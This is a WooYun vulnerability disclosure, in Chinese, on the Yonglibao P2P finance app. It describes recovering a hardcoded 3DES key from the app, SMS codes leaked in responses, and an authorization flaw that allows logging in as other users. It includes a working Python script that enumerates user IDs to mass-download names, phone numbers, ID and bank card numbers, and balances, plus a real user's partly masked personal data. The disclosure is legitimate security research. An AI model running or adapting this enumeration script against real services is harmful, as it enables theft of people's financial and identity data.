当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0188449

漏洞标题:P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

相关厂商:yonglibao.com

漏洞作者: Zhe

提交时间:2016-03-24 10:31

修复时间:2016-05-11 20:07

公开时间:2016-05-11 20:07

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-24: 细节已通知厂商并且等待厂商处理中
2016-03-27: 厂商已经确认,细节仅向厂商公开
2016-04-06: 细节向核心白帽子及相关领域专家公开
2016-04-16: 细节向普通白帽子公开
2016-04-26: 细节向实习白帽子公开
2016-05-11: 细节向公众公开

简要描述:

又学一招

详细说明:

上次测试就发现,APP可反编译,可惜找不到密钥。恶补了几天的android。才发现原来放在so文件中,昨晚测着测着就维护了。早上起来一看,囧,给个更新了。发现只是日志打印修复了。验证码还是返回了。。。
当然,纯粹的破解算法,并没有什么卵用。却能通过解密后发现新问题。
1.APP反编译。
加解密算法

QQ截图20160324002337.png


用IDA加载so文件,翻着翻着就找到了

QQ截图20160324002654.png


2.短信验证码返回(估计短时间没修改),可重置登陆或支付密码,上次说过了

QQ截图20160324080254.png


解密结果

QQ截图20160324080440.png


直接输入验证码即可完成需要验证码的操作 。
重置过程见 WooYun: P2P金融安全之永利宝某处登录密码/支付密码重置
2.多接口存在越权问题(新发现的问题)
先说说登陆

QQ截图20160324072740.png


返回内容,经解密后数据如下

{"s":{"code":1000,"msg":"登陆成功"},"r":{"i":"10002","a":"vicky879","p":"13501790686","e":"321281198301打个码","r":"刘秀莉","v":"1","n":"vicky879","t":"1411898796","j":776,"s":1,"c":"6228480031093打个码","m":"35.91"}}


无token或者session字段。经验证,i为用户uid,e为用户身份证,p为手机号,c为银行卡,r为用户姓名,m为可用余额。
登陆后APP展示信息如下

QQ截图20160324073247.png


越权登陆(多接口越权缺陷),改造登陆后的返回包
剔除不定因数

{"s":{"code":1000,"msg":"\u767b\u9646\u6210\u529f"},"r":{"i":"10023","a":"1","p":"1","e":"1","r":"1","v":"1","n":"vicky879","t":"1411898796","j":1,"s":1,"c":"1","m":"35.91"}}


只留下uid=10023
加密后结果

j46LP7ql4ioXaDd2bCSqjrTtKNFhbgghrUWFA8YPKgEHyNKew6nAdy4zzYG0e2X3syVCizd5KdlFe4vOilk+/wKI4xIamuGoocydtMyxghDc6vyeuC+OM1CEe4VaKIj/uAOA82t62NzZILBSe1x3fHpIVhozwmsspS5d+JwMgJB++ApkeSV+grmigWhDyjTsRqfmBI5hmvmABiJ5a+kmYV6MQqA6yO8P/fh3C4nAb5Y=


用这个返回包替换掉你的账号登陆后的结果,均可登陆手机号为187****9811,uid=10023的用户。进行操作。

QQ截图20160324075811.png


QQ截图20160324075823.png


选取比较重要的接口做遍历测试。

POST http://api.yonglibao.com/Apiv7/User/myinfo HTTP/1.1
User-Agent: Yonglibao_from_A
X-Wap-Proxy-Cookie: none
Cookie: CHANNEL=null;APP_VERSION=android_yonglibaoV4.2.2;TERMINAL=android_41A3945A92BD7B1D41B5AE511F7B3835%7C000000000000000;APP_TIME=1458776499779;BDUSS=;
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: api.yonglibao.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 311
i=g5BiQ4ozDgD1bu2eNcaOCSrGiBz5resTIaeKKn47xDKY5H6sPFcmXov6S0oN0dsrtpL%2F8rqeJB8M%0AtcKPvkjOf8fU5DHkrvqx0f0GEpaXwq1%2BapEkfGmXifLHQt1IS6wPoVE38AmtW%2BPhBQQb5ugzfl5I%0AMlOYLwGxT6jMb%2FVpOL7qc9md0%2B0A7t3cy7pkaj9Iyy5HfTcmnPcJVFGEsb%2BXGDUaHsIPiyTIjEiT%0AiBwTzzdgUJ9ZIOGaI6lVSPauAVdIv3EIjFXwhwVCN4k4BMINQg%3D%3D%0A&


遍历uid后发包,可获取用户信息(手机号,姓名,银行卡,账上各种金额等)
遍历结果如下

QQ截图20160324080821.png


QQ截图20160324080859.png


漏洞证明:

批量请求myinfo 的脚本,内含加解密函数(比较糙)

import pyDes
import requests
import base64
import urllib
key="8daluqp9xm2kw6zs1hta0000"
def DES3encrypt(param):
obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
d = obj.encrypt(param)
result=base64.b64encode(d)
result=urllib.quote_plus(result)
return result
def DES3decrypt(param):
#param=urllib.quote_plus(param)
param=base64.b64decode(param)
obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
result = obj.decrypt(param)
return result
def send (payload):
headers = {'User-Agent': 'Yonglibao_from_A',"Content-Type":" application/x-www-form-urlencoded; charset=UTF-8"}
data="i="+payload+"&"
r = requests.post("http://mo.yonglibao.com/Apiv7/User/myinfo", data=data,headers=headers)
result=DES3decrypt(r.text)
return result
def start():
fp=open("1.txt","a")
for i in range(10000,110100):
userinfo=""
param='''{"requesttime":1458728953,"system":"222","u":"33A65921FF60DD89653D1B4BC914AE03|000000000000000","client":"android","version":"yonglibaoV4.2.1","i":'''+str(i)+"}"
print param
payload=DES3encrypt(param)
userinfo=send(payload)
fp.write(userinfo)
fp.write("\n")
fp.close()
param="j46LP7ql4ioXaDd2bCSqjrTtKNFhbgghy/z6YAO6O/cZaeBzwdGhIIZaJqCJJmp84VvNyOXsavFysfuuqJS7waFybTIB9S2On/FEd7ox7uKzh1bLs0fPSsZVOHsqKndH3pOGh371ERKnxdwZg7QRjVlfSifXO26bByD0I574/zHUBNKaOuqbOTluUA2lpDhKWXS4kyibCrS2xtq0m0tBKx3Ja0McPcZXnsXS2aYP5bb/nyy/4yuhE1M74gppnrOEFzZnEH9ALFTedjDBbPJDraTZpRbsbvkg57NTipx7KDu5tGKwHjHs7GnN4Ca4KWmR"
print DES3decrypt(param)
start()

修复方案:

重要性来说
1.修复越权。。
2.修复短信验证码回显
3.如果以上都修复了,可以不考虑APP加固的问题。
这次都遍历数据了。应该能比12Rank高了吧,谢谢

版权声明:转载请注明来源 Zhe@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2016-03-27 20:07

厂商回复:

感谢@Zhe对永利宝安全的关注!

最新状态:

暂无